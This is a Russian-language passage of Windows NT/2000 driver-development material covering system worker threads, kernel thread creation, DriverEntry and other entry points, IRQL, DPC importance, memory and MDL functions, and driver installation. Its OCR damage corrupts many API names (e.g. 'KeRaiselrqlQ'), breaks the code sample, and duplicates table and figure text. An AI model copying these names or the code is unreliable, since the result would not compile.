    В принципе, можно создать новый поток, однако создание нового потока и его планирование планировщиком является более ресурсоемким, чем использование существующего потока. Большинство стандартных компонент ОС, таких как компоненты файловой системы, используют для своих нужд готовые системные рабочие потоки.

    Имеются ситуации, при которых использование системных рабочих потоков неприемлемо в силу их организации. Такими ситуациями являются необходимость в дли-

    тельной (несколько сотен микросекунд) обработке внутри потока, либо длительное ожидание освобождения ресурса или наступления события.


    В этих ситуациях драйвер должен создавать свой собственный поток.

    Как организованы системные рабочие потоки? Как уже было сказано, в процессе системной инициализации NT создает несколько системных рабочих потоков. Число этих потоков фиксировано. Для всех потоков существует единая очередь, из которой поток выбирает адрес функции драйвера, которая должна быть выполнена в данном потоке. Такая функция называется рабочим элементом (Workltem). Функция выполняется в потоке до своего завершения, после чего поток выбирает из очереди следующий рабочий элемент. Если очередь пуста, поток блокируется до появления в очереди очередного рабочего элемента.

    Существует три типа системных рабочих потоков: Delayed (замедленные), Critical (критические) и Hypercritical (сверхкритические). Все типы потоков создаются на уровне IRQL PASSIVE_LEVEL. Для каждого типа потоков будут различны:

    • число потоков данного типа;

    • базовый приоритет планирования потока, относящегося к данному типу;

    • очередь рабочих элементов.

    Число потоков каждого типа зависит от объема памяти и типа ОС. В таблице 10 указано число потоков и базовый приоритет планирования для ОС Win2000 Professional и Server.

    Таблица 10. Число Системных Рабочих Потоков

    Тип рабочего потока Объем системной памяти Базовый приоритет планирования

    12-19 MB 20-64 MB >64MB

    Delayed 3 3 3 Значение в диапазоне динамических приоритетов

    Critical 3 Professional: 3 Server: 6 Professional: 5 Server: 10 Значение в диапазоне приоритетов реального времени

    HyperCritical 1 1 1 Не документирован

    Следует отметить, что использование единственного потока типа HyperCritical не документировано. ОС использует этот поток для выполнения функции - чистильщика, которая освобождает потоки при их завершении.

    При постановке рабочего элемента в очередь указывается тип потока, которому предназначен рабочий элемент.

    Для работы с системными рабочими потоками существует два набора функций -функции с префиксом Ех, и функции с префиксом 1о. Функции с префиксом Ех использовались в ОС NT 4.0 и более ранних версиях, и в Win2000 считаются устаревшими.


    В любом случае, вначале драйвер должен инициализировать рабочий элемент с

    помощью функций ExInitializeWorkltemQ или IoAllocateWorkItem(), поместить рабо- чий элемент в очередь с помощью функций ExQueueWorkltemQ или loQueueWorkltemQ, а при запуске функции, указанной в рабочем элементе, эта функция обязана освобо- дить занимаемые рабочим элементом ресурсы с помощью функций ExFreePoolQ или loFreeWorkltemQ.

    2.4.6.3. Создание потоков драйвером

    В случае, когда использование системных рабочих потоков невозможно, драйвер должен создать свой собственный поток. Для создания нового потока используется функция PsCreateSystemThreadQ. В качестве одного из параметров функция имеет описатель процесса, в контексте которого нужно создать поток. Чтобы правильно использовать описатель, код драйвера должен выполняться в контексте процесса, таблица описателей которого содержит описатель процесса, в контексте которого мы хотим создать поток. Если описатель процесса не указан (значение NULL), новый поток будет создан в контексте процесса System.

    Для уничтожения потока из драйвера используется функция PsTerminate SystemThreadQ. Эта функция должна быть вызвана из самого уничтожаемого потока, так как она уничтожает текущий поток и не позволяет указать поток, который нужно уничтожить.

    Вновь созданный поток будет работать на уровне IRQL PASSIVE_LEVEL и иметь базовое значение приоритета планирования равным 8 (динамический диапазон приоритетов, базовое значение для класса NORMAL). После создания код потока может изменить базовое значение приоритета планирования на любое значение в диапазоне динамических приоритетов либо приоритетов реального времени. Это делается с помощью функции KeSetPriorityThreadQ. Отметим, что это не повышение уровня приоритета планирования, после которого уровень приоритета постепенно снизится до базового значения, а именно установка нового базового значения приоритета.

    Код потока может не только изменить значение приоритета планирования при уровне IRQL PASSIVE_LEVEL, но и повысить уровень IRQL.


    Для этого служит функция KeRaiselrqlQ. Работа потока на повышенном уровне IRQL должна быть завершена как можно скорее, после чего должно быть восстановлено первоначальное значение IRQL с помощью функции KeLowerlrqlQ. Использование функции KeRaiselrqlQ для понижения IRQL и функции KeLowerlrqlQ для повышения IRQL не допускается, так как это приведет к возникновению синего экрана.

    2.4.6.4. Потоки как диспетчерские объекты

    Как говорилось в разделе, посвященном механизмам синхронизации, поток является диспетчерским объектом, который переходит в сигнальное состояние при своем завершении. Следующий пример демонстрирует способ синхронизации с помощью объекта-потока.

    NTSTATUS DriverEntry( .... )

    status = PsCreateSystemThread(&thread_handle,

    0,

    NULL,

    0,

    NULL,

    thread_func,

    pDevExt~>thread_context) ; if (status != STATUS_SUCCESS)

    {

    //обработка ошибки } else

    {

    status = ObReferenceobjectByHandle (thread_handle, THREAD_ALL_ACCESS, NULL,

    KernelMode,

    (PVOID*) &pDevExt->pThreadObject, NULL) ; if (status != STATUS_SUCCESS)

    { ' ' ': ' " ' ' ' ' '

    //обработка ошибки

    Функция потока:

    VOID thread_func(PVOID Context)

    { ' ' ' '; , ' -

    //Рабочий код потока

    //Завершение потока PsTerminateSystemThread'(STATUS_SUCCESS) ;

    Функция, ожидающая завершение работы потока: .... SomeFunc( .... )

    status = KeWaitForSingleObject (pDevExt->pThreadObject,

    Executive,

    KernelMode,

    FALSE ,

    NULL) ; ObDereferenceObject (pDevExt->pThreadObject) ;

    Прокомментируем этот пример. При создании потока с помощью функции PsCreateSystemThread() возвращается описатель потока в контексте процесса, в котором поток был создан. Важно понимать, что это может быть совершенно не тот процесс, в контексте которого была вызвана функция PsCreateSystem ThreadQ. В этом случае мы не можем напрямую воспользоваться функцией ObReference ObjectByHandle() для получения указателя на объект-поток по его описателю.

    Существует простейший способ решения этой проблемы, основанный на том факте, что функция - точка входа в драйвер DriverEntry, всегда вызывается в контексте потока System.


    Вызов функции PsCreateSystemThreadQ следует производить из DriverEntry, и при этом указывать создавать поток в контексте процесса System. Получив описатель созданного потока, можно получить указатель на объект-поток с помощью ObReferenceObjectByHandleQ, и в дальнейшем пользоваться этим указателем в контексте любого процесса и потока. При завершении использования объекта-потока надо обязательно освободить его с помощью вызова ObDereferenceObjectQ. Все вышесказанное иллюстрируется Рисунок 13.

    Если драйверу все же необходимо по каким-либо причинам создать поток в контексте процесса, отличного от процесса System, либо создать поток в контексте процесса System, находясь в контексте другого потока, ему нужно каким-то образом попасть в контекст памяти процесса, в таблице описателей которого хранится информация о нужном процессе. Для этого служит недокументированная функция KeAttachProcessQ. После необходимой обработки необходимо восстановить предыдущее состояние с помощью вызова KeDetachProcessQ.

    Вышесказанное относилось только к ОС Windows NT 4.0. В ОС Win2000 появилась специальная таблица описателей, называемая таблицей описателей ядра (kernel handle table), которая может быть доступна с помощью экспортируемого имени ObpKernelHandleTable.

    Уровень IRQL, на котором может

    Таблица 9


    Объект синхронизации
    Уровень IRQL, на котором может работать запрашивающий синхронизацию поток
    Уровень IRQL, на котором будет работать запросивший синхронизацию поток при освобождении объекта синхронизации или его пе- реходе в сигнальное состояние
    Запрос без блокирования потока
    Запрос с блокированием потока.
    Стандартная спин- блокировка (Stan- dard Spin Lock)
    <= DISPATCH_LEVEL
    DISPATCHJLEVEL
    Спин-блокировка для ISR, определенная по умолчанию (Default ISR Spin Lock)
    <= DIRQL
    DIRQL
    Спин-блокировка для синхронизации с ISR (ISR Synchro nize Spin Lock)
    <= Specified DIRQL
    Specified DIRQL
    Мьютекс (Mutex)
    <=DISPATCH_LEVEL
    <=DISPATCH_LEVEL
    Семафор (Sema- phore)
    <=DISPATCKLLEVEL
    <=DISPATCH_LEVEL
    Событие синхронизации (Synchronization Event)
    <=DISPATCH_LEVEL
    <=DISPATCH_LEVEL
    Событие уведомления (Notification Event)
    <=DISPATCH_LEVEL
    <=DISPATCH_LEVEL
    Таймер синхронизации (Synchronization Timer)
    <=DISPATCH_LEVEL
    -
    Таймер уведомления (Notification Timer)
    <=DISPATCH_LEVEL
    -
    Процесс (Process)
    <=DISPATCH_LEVEL
    -
    Поток (Thread)
    <=DISPATCH_LEVEL
    -
    Файл (File)
    <=DISPATCH_LEVEL
    -
    Ресурсы (Resources)
    < DISPATCH_LEVEL
    <=DISPATCH_LEVEL

    доступна только из режима

    Таблица доступна только из режима ядра, при этом у всех описателей старший бит установлен в 1, так что значения всех описателей превышают 0x80000000. Как быть с уникальностью описателей для каждого процесса, на момент написания данной книги неясно и нуждается в исследовании.

    Процесс 1

    Процесс 2

    Контекст памяти Таблица описателей Контекст памяти Таблица описателей

    описатель потока

    Создаваемый поток

    Поток процесса 1

    Функция создаваемого потока thread_func

    Функция драйвера

    PsCrcateSystemThread(

    process handle,

    thread fane, ........ " " ...V.

    Процесс System

    Таблица доступна только из режима ядра, при этом у всех описателей старший бит установлен в 1, так что значения всех описателей превышают 0x80000000. Как быть с уникальностью описателей для каждого процесса, на момент написания данной книги неясно и нуждается в исследовании.

    доступна только из режима
    Рисунок 13

    Типы адресов в NT

    Типы адресов в NT

    Как мы уже отмечали, линейный и виртуальный адреса в NT совпадают. Здесь и далее мы будем пользоваться термином виртуальный адрес.

    Виртуальный адрес транслируется в физический адрес. Этот адрес соответствует физической памяти.

    Кроме этих двух типов адресов существует еще один - логический адрес, реализуемый на уровне HAL.

    HAL поддерживает гибкую модель для адресации аппаратных устройств. В соответствии с этой моделью, устройства подключаются к шинам, каждая из которых имеет свое собственное адресное пространство. Реально эти адреса могут быть как в пространстве портов ввода/вывода, так и в пространстве памяти.

    Прежде чем может быть произведено обращение к некоторому адресу устройства (посредством функции HAL), адрес должен быть переведен из относительного адреса для шины в некоторый транслированный модулем HAL адрес. Этот транслированный адрес и есть логический адрес. Он имеет смысл только для HAL и не имеет ничего общего с конкретным адресом для работы с оборудованием.

    Для получения логического адреса из шинного адреса служит функция HalTranslateBusAddress(). Полученный адрес будет находиться либо в пространстве портов ввода/вывода, либо в обычном пространстве памяти. В последнем случае для использования в драйвере полученный логический адрес должен быть преобразован к адресу в невыгружаемой области системного адресного пространства. Это делается посредством вызова функции MmMapIoSpace().




    Точка входа DriverEntry

    Точка входа DriverEntry

    Диспетчер ввода/вывода вызывает точку входа DriverEntry при загрузке драйвера. В NT может существовать только один экземпляр драйвера, вне зависимости от числа физических устройств, контролируемых им. Таким образом, DriverEntry вызывается только один раз, на уровне IRQL равном PASSIVE_LEVEL в системном контексте.

    Прототип DriverEntry:
    NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,

    IN PUNICODE STRING RegistryPath);
    Где: DriverObject - указатель на объект-драйвер, соответствующий загружаемому драйверу; RegistryPath - указатель на строку в формате Unicode с именем ключа реестра, соответствующего загружаемому драйверу.

    Возвращаемое значение имеет тип NTSTATUS. Если возвращается успешный статус завершения, диспетчер ввода/вывода немедленно позволяет производить обработку запросов к объектам-устройствам, созданным драйвером. Во всех остальных случаях драйвер не загружается в память, и запросы к нему не передаются.

    В функции DriverEntry обычно происходит:
  • определение всех других точек входа драйвера (их перечень см. в предыдущем разделе);

  • определение конфигурации аппаратного устройства;

  • создание одного или нескольких объектов-устройств.

  • Информация об определении всех других точек входа драйвера будет описана в следующих разделах.

    Точки входа драйвера

    Точки входа драйвера

    При написании любого драйвера необходимо помнить четыре основных момента:
  • 1. возможные точки, входа драйвера;

  • 2. контекст, в котором могут быть вызваны точки входа драйвера;

  • 3. последовательность обработки типичных запросов;

  • 4. Уровень IRQL, при котором вызывается точка входа, и, следовательно, ограничения на использование некоторых функций ОС каждая (!!!) функция ОС может быть вызвана только при определенных уровнях IRQL (см. описание любой функции в DDK, там всегда указаны эти уровни).

  • Архитектура драйвера Windows NT использует модель точек входа, в которой Диспетчер Ввода/вывода вызывает специфическую подпрограмму в драйвере, когда требуется, чтобы драйвер выполнил специфическое действие. В каждую точку входа передается определенный набор параметров для драйвера, чтобы дать возможность ему выполнить требуемую функцию.

    Базовая структура драйвера состоит из набора точек входа, наличие которых обязательно, плюс некоторое количество точек входа, наличие которых зависит от назначения драйвера.

    Далее перечисляются точки входа либо классы точек входа драйвера:
  • 1. DriverEntry. Диспетчер Ввода/вывода вызывает эту функцию драйвера при первоначальной загрузке драйвера. Внутри этой функции драйверы выполняют инициализацию как для себя, так и для любых устройств, которыми они управляют. Эта точка входа требуется для всех NT драйверов.

  • 2. Диспетчерские (Dispatch) точки входа. Точки входа Dispatch драйвера вызываются Диспетчером Ввода/вывода, чтобы запросить драйвер инициировать некоторую операцию ввода/вывода.

  • 3. Unload. Диспетчер Ввода/вывода вызывает эту точку входа, чтобы запросить драйвер подготовиться к немедленному удалению из системы. Только драйверы, которые поддерживают выгрузку, должны реализовывать эту точку входа. В случае вызова этой функции, драйвер будет выгружен из системы при выходе из этой функции вне зависимости от результата ее работы.

  • 4. Fast I/O. Вместо одной точки входа, на самом деле это набор точек входа. Диспетчер Ввода/вывода или Диспетчер Кэша вызывают некоторую функцию быстрого ввода/вывода (Fast I/O), для инициирования некоторого действия "Fast I/O".
    Эти подпрограммы поддерживаются почти исключительно драйверами файловой системы.


  • 5. Управление очередями запросов IRP (сериализация - процесс выполнения различных транзакций в нужной последовательности). Два типа очередей: Системная очередь (Startlo) и очереди, управляемые драйвером. Диспетчер Ввода/вывода использует точку входа Startlo только в драйверах, которые используют механизм Системной Очереди (System Queuing). Для таких драйверов, Диспетчер Ввода/вывода вызывает эту точку входа, чтобы начать новый запрос ввода/вывода.


  • 6. Reinitialize. Диспетчер Ввода/вывода вызывает эту точку входа, если она была зарегистрирована, чтобы позволить драйверу выполнить вторичную инициализацию.


  • 7. Точка входа процедуры обработки прерывания (ISR- Interrupt Service Routine).

    Эта точка входа присутствует, только если драйвер поддерживает обработку прерывания. Как только драйвер подключен к прерываниям от своего устройства, его ISR будет вызываться всякий раз, когда одно из его устройств запрашивает аппаратное прерывание.


  • 8. Точки входа вызовов отложенных процедур (DPC - Deferred Procedure Call). Два типа DPC: DpcForlsr и CustomDpc. Драйвер использует эти точки входа, чтобы завершить работу, которая должна быть сделана в результате появления прерывания или другого специального условия. Процедура отложенного вызова выполняет большую часть работы по обслуживанию прерывания от устройства, которое не требует высокого уровня прерывания IRQL, ассоциированного с процессором.


  • 9. SynchCritSection. Диспетчер Ввода/вывода вызывает эту точку входа в ответ на запрос драйвера на захват одной из спин-блокировок его ISR.


  • 10. AdapterControl. Диспетчер Ввода/вывода вызывает эту точку входа, чтобы указать, что общедоступные DMA-ресурсы драйвера доступны для использования в передаче данных. Только некоторые драйверы устройств DMA реализуют эту точку входа.


  • 11. Cancel. Драйвер может определять точку входа Cancel для каждого IRP, который он содержит во внутренней очереди. Если Диспетчер Ввода/вывода хочет отменить конкретный IRP, он вызывает подпрограмму Cancel, связанную с этим IRP.


  • 12. loCompletion. Эту точку входа для каждого IRP может устанавливать драйвер верхнего уровня при многоуровневой организации. Диспетчер Ввода/вывода вызывает эту подпрограмму после того, как все драйверы нижнего уровня завершили IRP.


  • 13. loTimer. Для драйверов, которые инициализировали и запустили поддержку loTimer, Диспетчер Ввода/вывода вызывает эту точку входа приблизительно каждую секунду.


  • 14. CustomTimerDpc. Эта точка входа вызывается, когда истекает время для запрошенного драйвером таймера.


  • Унифицированная модель драйвера

    Унифицированная модель драйвера

    В исполнительной системе драйвер устройства и файловая система строятся и выглядят для остальной части ОС одинаково. Более того, именованные каналы и сетевые редиректоры рассматриваются, как файловые системы, и реализованы в виде соответствующих драйверов. Каждый драйвер - это автономный компонент, который можно динамически загружать и выгружать из системы в зависимости от потребностей пользователя.

    Унифицированный модульный интерфейс, предоставляемый драйверами, позволяет диспетчеру ввода/вывода не видеть их структуру или внутренние детали. Драйверы могут вызывать друг друга через диспетчер ввода/вывода, что обеспечивает независимую обработку запроса ввода/вывода на нескольких уровнях.

    Драйверы являются модульными и могут располагаться слоями один над другим, что позволяет, например, драйверам разных файловых систем использовать для доступа к файлам один и тот же драйвер диска. Послойная модель драйверов позволяет также вставлять в иерархию новые драйверы.

    Драйвер - это особый тип динамически подключаемой библиотеки. Фактически, это DLL, удовлетворяющая ряду дополнительных требований и имеющая расширение «.sys».

    Как и любая DLL, драйвер имеет свою точку входа — функцию, вызываемую при загрузке исполняемого файла в память. Адрес этой точки входа содержится в служебной информации в самом модуле. При создании модуля в процессе компиляции настройки среды разработки предполагают, что имя соответствующей функции будет DriverEntry, хотя оно может быть заменено на любое другое. Момент загрузки драйвера определяется соответствующими данному драйверу настройками в реестре (ключ Start). Этими настройками управляет Service Control Manager (SCM), хотя они могут быть изменены и вручную.

    Прежде чем перейти к описанию структуры драйвера желательно ознакомиться с такими важными понятиями как объект-файл, объект-драйвер и объект-устройство.




    Управление памятью и MDL

    Управление памятью и MDL

    BOOLEAN MmIsAddressValid(IN PVOID VirtualAddress )/ VOID MmProbeAndLockPages

    (IN OUT PMDL Mdl,

    IN KPROCESSOR_MODE AccessMode,

    IN LOCK_OPERATION Operation); PVOID MmGetSystemAddressForMdl(IN PMDL Mdl) MmGetPhysicalAddress(IN PVOID BaseAddress); VOID MmUnlockPages(IN PMDL mdl) ;

    PMDL loAllocateMdl(IN PVOID VirtualAddress,

    IN ULONG Length,

    IN BOOLEAN SecondaryBuffer,

    IN BOOLEAN ChargeQuota,

    IN OUT PIRP Irp) ;

    VOID MmPrepareMdlForReuse(IN PMDL Mdl); VOID IoFreeMdl(IN PMDL Mdl);




    Уровни запросов прерываний (IRQL)

    Уровни запросов прерываний (IRQL)

    В любое время исполняющийся код будет иметь определенный уровень IRQL. Этот уровень определяет, что позволено делать коду, применяется ли к коду механизм квантования времени планировщика и каковы его взаимосвязи с другими потоками исполнения.

    Наивысшие из уровней IRQL - уровни запросов прерываний устройств (Device Interrupt Request Levels - DIRQLs). Это уровни IRQL, соответствующие аппаратным прерываниям. Другие уровни IRQL реализованы программно.

    Уровень IRQL прерывания контролирует то, когда прерывание может быть обработано. Прерывание никогда не будет обработано, пока процессор занят обработкой прерывания более высокого уровня. Уровни IRQL располагаются в порядке убывания от HIGH_LEVEL до PASSIVE_LEVEL.. Уровни в подмножестве от HIGH_LEVEL до APC_LEVEL называют повышенными (elevated IRQLs). DISPATCH_LEVEL и APC_LEVEL реализованы программно.

    Модель приоритетов низшего уровня управляет исполнением потоков, выполняющихся на уровне IRQL PASSIVEJLEVEL. Этот уровень контролируется планировщиком (scheduler) (его также называют диспетчером - dispatcher), который планирует исполнение потоков (но не процессов). Планировщик планирует исполнение прикладных и системных потоков, используя для наблюдения и контроля исполнения потоков системные часы.




    Установка, удаление, запуск и установка драйвера

    Установка, удаление, запуск и установка драйвера

    Сейчас мы коротко рассмотрим операции установки и управления драйверами. Драйверы в NT поддерживают динамическую загрузку и выгрузку. Информация о драйвере, такая, как его имя, тип, местонахождение, способ загрузки и др. находится в реестре в ключе HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Service

    _name. Подробно обо всех подключах, которые могут там находиться, вы можете узнать в статье «Using The NT Registry for Driver Install» в директории NTInsider, либо в DDK Help\Programmers Guide\Driver Installation\Configuration Registry.

    Управлением сервисами и драйверами в системе занимается Service Control Manager (SCM). Он управляет базой данных установленных сервисов и драйверов, обеспечивает единый способ контроля над ними, а также предоставляет API.

    Подробную информацию о функционировании SCM и предоставляемом им API можно получить в MSDN Library в разделе Platform SDKABase Services\DLLs, Processes and Threads\Services.

    Примерная последовательность действий при установке/удалении запуске/остановке драйвера следующая:
  • 1. открытие SCM - OpenSCManager();

  • 2. получение описателя для вновь созданного или уже существующего драйвера - CreateService() или OpenService();

  • 3. запуск\остановка\удаление драйвера - StartService(), StopService(), DeleteSer-vice().

  • Установленный в системе драйвер также может быть запущен/остановлен с помощью команды net start\net stop.

    Рассмотрим другие способы установки драйверов:
  • Text Setup. Этот механизм используют драйверы, устанавливаемые при установке ОС. Этот механизм требует создания скрипт-файла txtsetup.oem. Его формат описан в DDK, имеются примеры в \ddk\src\setup. В этом файле программе установки NT указывается, какие файлы и куда копировать и какие ключи реестра создавать.

  • GUI Setup. Драйверы для стандартных устройств, устанавливаемые по окончании установки ОС, используют inf-файлы, формат которых и примеры также приведены в DDK.

  • Custom Setup. Прикладная программа, использующая функции SCM.





  • Важность DPC (DPC Importance)

    Важность DPC (DPC Importance)

    Каждый Объект DPC имеет важность, которая хранится в поле Importance Объекта DPC. Значения для этого поля перечислены в ntddk.h под именами Highlmportance, Mediumlmportance, и Lowlmportance. Это значение DPC Объекта влияет на место в Очереди DPC, куда помещается Объект DPC при постановке в очередь, а также то, будет ли иметь место прерывание уровня IRQL dispatch_level при постановке Объекта DPC в очередь. Функция KelnitializeDpc() инициализирует Объекты DPC с важностью Mediumlmportance. Значение важности объекта DPC может быть установлено, используя функцию KeSetlmportanceDpc(), прототип которой:
    VOID KeSetlmportanceDpc (IN PKDPC Dpc,

    В KDPCIMPORTANCE Importance);
    Где:

    Dpc - Указатель на объект DPC, в котором должно быть установлено поле Importance;

    Importance - значение важности для установки в Объекте DPC.

    Объекты DPC с Mediumlmportance или Lowlmportance помещаются в конец Очереди DPC. Объекты DPC с Highlmportance ставятся в начало Очереди DPC.

    Важность Объектов DPC также влияет на то, будет ли при помещении Объекта DPC в очередь сгенерировано программное прерывание уровня dispatch_level. Когда Объект DPC с Highlmportance или Mediumlmportance ставится в очередь текущего процессора, всегда генерируется прерывание dispatchjevel. Прерывание dispatch_level генерируется для Lowlmportance DPC или для тех DPC, которые предназначены для отличного от текущего процессора, согласно сложному (и недокументированному) алгоритму планирования.

    В таблице 11 перечислены ситуации, инициирующие освобождение очереди объектов DPC.

    Большинству драйверов устройства никогда не понадобится устанавливать важность своих Объектов DPC. В редких случаях, когда задержка между запросом DPC и выполнением DPC чрезмерна, и разработчик драйвера не в состоянии решить устранить эту задержку другим способом, Вы можете попытаться установить DPC Объекта в Highlmportance. Однако обычно драйверы устройств в Windows NT не изменяют свое значение DPC со значения по умолчанию Mediumlmportance.

    Виртуальная память с подкачкой страниц по требованию

    Виртуальная память с подкачкой страниц по требованию

    Виртуальное адресное пространство (virtual address space) процесса - это набор адресов, которые могут использовать потоки процесса, оно равно четырем гигабайтам (232 байт), два из которых предназначены для использования программой, а другие два зарезервированы для ОС.

    Во время выполнения потока диспетчер памяти при помощи аппаратных средств транслирует (отображает) виртуальные адреса в физические, по которым данные хранятся на самом деле. Посредством контроля над процессом отображения ОС может гарантировать, что процессы не будут пересекаться друг с другом и не повредят ОС.

    Когда физической памяти не хватает, диспетчер памяти выгружает часть содержимого памяти на диск. При обращении потока по виртуальному адресу, соответствующему переписанным на диск данным, диспетчер памяти снова загружает эти данные с диска в память.

    В Windows NT код ОС располагается в верхней части виртуального адресного пространства, а пользовательский код и данные - в нижней. Можно выгружать всю пользовательскую память. Код пользовательского режима не может производить запись и чтение системной памяти.

    Часть системной памяти, называемая невыгружаемым (резидентным) пулом (nonpaged pool), никогда не выгружается на диск и используется для хранения некоторых объектов и других важных структур данных. Другая часть системной памяти, которая может быть выгружена на диск, называется выгружаемым (нерезидентным) пулом (paged pool).




    Введение в обработку прерываний

    Введение в обработку прерываний

    Одной из основных обязанностей NT является сопряжение компьютера с его периферийными устройствами. Подобно почти всем современным операционным системам, NT может динамически объединять программы драйверов устройств для управления устройствами. Драйверы устройств обычно используют сигналы прерываний для связи с контролируемыми ими устройствами. Когда устройство завершает указанную драйвером операцию, или когда устройство имеет новые данные для драйвера, устройство генерирует сигнал прерывания. В зависимости от состояния CPU, либо функция драйвера немедленно обслуживает прерывание, либо CPU помещает прерывание в очередь для обслуживания позднее.




    Выделение памяти

    Выделение памяти

    PVOID ExAllocatePool(

    IN POOLJTYPE PoolType,

    IN ULONG NumberOfBytes) ; PVOID ExAllocatePoolWithTag(

    IN POOL_TYPE PoolType,

    IN ULONG NumberOfBytes, IN ULONG Tag); Где: POOLJTYPE принимает следующие значения:

    Тип памяти (PoolType)
    Описание
    NonPagedPool
    Обычное выделение памяти из Nonpaged Pool.
    NonPagedPoolCacheAligned
    Выделение памяти из Nonpaged Pool будет выровнено по линии кеша.
    NonPagedPooMustSucceed
    Используется в специальных случаях драйверами, необходимыми для загрузки системы.
    NonPagedPoolCacheAlignedMustSucceed
    PagedPool
    Обычное выделение памяти из Paged Pool.
    PagedPoolCacheAligned
    Выделение памяти из Paged Pool будет выровнено по линии кеша.

    VOID ExFreePool(IN PVOID address);

    PVOID MmAllocateNonCachedMemory(IN ULONG NumberOfBytes);

    VOID MmFreeNonCachedMemory( IN PVOID BaseAddress,

    IN ULONG NumberOfBytes); PVOID MmAllocateContiguousMemory(IN ULONG NumberOfBytes,

    IN PHYSICAL_ADDRESS HighestAcceptableAddress); VOID MmFreeContiguousMemory(IN PVOID BaseAddress);

    Выполнение асинхронного запроса

    Выполнение асинхронного запроса

    Выполняя асинхронный ввод/вывод, поток пользовательского режима может использовать для синхронизации с моментом завершения операции ввода/вывода:
  • 1. ожидание у описателя файла;

  • 2. ожидание у объекта-события, используемого для каждого запроса ввода/вывода;

  • 3. асинхронный вызов процедуры (Asynchronous procedure call, АРС) пользовательского режима.

  • Выполнение асинхронного запроса приводится на примере запроса на запись, проходящего через несколько слоев драйверов. При этом добавляется один или несколько уровней обработки.

    Вместо повторного использования одного IRP, драйвер верхнего уровня может создать группу ассоциированных IRP, которые будут управлять одним запросом параллельно. Этот драйвер отслеживает завершение всех ассоциированных IRP, и только потом завершает исходный IRP.
  • 1. Подсистема среды или клиентская DLL вызывает функцию «родного» API NtWriteFile() с описателем файлового объекта.

  • 2. Диспетчер ввода/вывода создает IRP, в котором он сохраняет указатель на файловый объект и код функции, указывающий драйверу верхнего уровня тип операции. Далее диспетчер ввода/вывода отыскивает драйвер верхнего уровня и передает ему IRP.

  • 3. Драйвер верхнего уровня определяет по информации в соответствующей ему области стека IRP, какую операцию он должен выполнить. Драйвер верхнего уровня может, либо разбить первоначальный запрос на несколько запросов, путем размещения новых пакетов IRP (возможно для нескольких драйверов устройств), либо может повторно использовать первоначальный IRP, заполнив область стека IRP, соответствующую нижележащему драйверу. Затем драйвер передает этот IRP (или несколько ассоциированных IRP) посредством вызова диспетчера ввода/вывода.

  • 4. Вызванный драйвер нижнего уровня (пусть это будет уже драйвер устройства) проверяет свою область стека IRP, чтобы определить какую операцию он должен выполнить на устройстве, и в поле статуса операции ввода/вывода в пакете IRP ставит код «ввод/вывод выполняется». Затем он вызывает функцию loStartPacket(), реализуемую менеджером ввода/вывода.

  • 5. Диспетчер ввода/вывода определяет, занято ли уже устройство обработкой другого IRP, и если да, то ставит текущий IRP в очередь устройства и возвращает управление. Если нет, то диспетчер ввода/вывода передает IRP соответствующей процедуре драйвера устройства, которая начинает операцию ввода/вывода на устройстве. Начав операцию на устройстве, драйвер устройства возвращает управление. Заметьте, что асинхронный запрос ввода/вывода возвращает управление вызывающей программе немедленно, даже если очередь устройства пуста.

  • Вторая стадия обработки запроса ввода/вывода, состоит в обслуживании прерывания от устройства:
  • 1. После завершения передачи данных устройство генерирует прерывание для обслуживания. Диспетчер прерываний ядра передает управление процедуре обслуживания прерываний (Interrupt Service Routine, ISR) драйвера устройства.

  • 2. ISR выполняет минимум работы по сохранению необходимого контекста операции. ISR также вызывает соответствующие сервисы диспетчера ввода/вывода для постановки в очередь отложенного вызова процедуры (Deferred Procedure Call, DPC). DPC - асинхронная процедура драйвера устройства, выполняющая завершение требуемой операции при более низком уровне IRQL процессора.

    Прерывания от устройств имеют высокий IRQL, но IRQL процессора, выполняющего ISR, остается на этом уровне только на время, необходимое для того, чтобы запретить новые прерывания от устройства. После завершения ISR, ядро понижает IRQL процессора до уровня, на котором тот находился до прерывания.

  • 3. Если IRQL процессора понизится ниже уровня планирования потоков и обработки отложенного вызова процедуры (Dispatch level), возникнет прерывание DPC, и диспетчер прерываний передаст управление процедуре DPC драйвера устройства.

  • 4. Процедура DPC использует для завершения операции сохраненный в процедуре ISR контекст операции, запоминает статус завершившейся операции и выбирает из очереди следующий пакет IRP, запустив тем самым новый запрос ввода/вывода. Затем устанавливает статус только что завершенной операции в поле статуса IRP и вызывает диспетчер ввода/вывода для завершения обработки запроса и удаления IRP.

  • 5. Диспетчер ввода/вывода обнуляет область стека IRP, соответствующую драйверу устройства, и вызывает завершающую процедуру драйвера верхнего уровня. Эта процедура проверяет поле статуса операции, чтобы определить, нужно ли повторить запрос, или можно освободить этот IRP (если это IRP было размещено этим драйвером). Драйвер верхнего уровня собирает информацию о статусах операций для всех размещенных им пакетов IRP, чтобы установить общий статус в первоначальном пакете IRP и завершить его.

  • 6. Диспетчер ввода/вывода ставит в очередь АРС-объект (Asynchronous Procedure Call - асинхронный вызов процедуры) для завершения ввода/вывода в контексте потока - инициатора запроса. (Подсистема ввода/вывода должна скопировать некоторые данные из системной области памяти в виртуальное адресное пространство процесса, поток которого инициировал запрос ввода/вывода, во время исполнения такого потока, это достигается путем пересылки АРС-объекта режима ядра в очередь АРС-объек-тов этого потока.)

  • 7. Когда поток - инициатор запроса, начнет исполняться в следующий раз, то возникнет прерывание обработки асинхронного вызова процедуры. Диспетчер прерываний передает управление процедуре АРС режима ядра (процедуре АРС диспетчера ввода/вывода).

  • 8. Процедура АРС режима ядра записывает данные в адресное пространство потока-инициатора запроса, устанавливает описатель файла в состояние «свободен», устанавливает в очередь на исполнение АРС-объект пользовательского режима (если нужно) и удаляет IRP.





  • Вытесняющая многозадачность (preemptive multitasking)

    Вытесняющая многозадачность (preemptive multitasking)

    NT позволяет нескольким единицам исполнения - потокам - выполняться одновременно, быстро переключаясь между ними. Такое поведение называется многозадачностью (multitasking).

    Каждому потоку на исполнение выделяется квант времени процессора. По истечении этого времени операционная система насильственно отдаст время процессора другому потоку (говорят, что поток будет вытеснен). Такое поведение называется вытесняющей многозадачностью (в отличие от невытесняющей многозадачности, когда поток сам должен освободить процессор).

    Необходимо определить еще два термина: диспетчеризация и планирование.

    Диспетчеризация (dispatching) - механизм переключения с одного потока исполнения на другой.

    Планирование (sheduling) — механизм определения потока, который должен выполняться следующим на текущем процессоре.

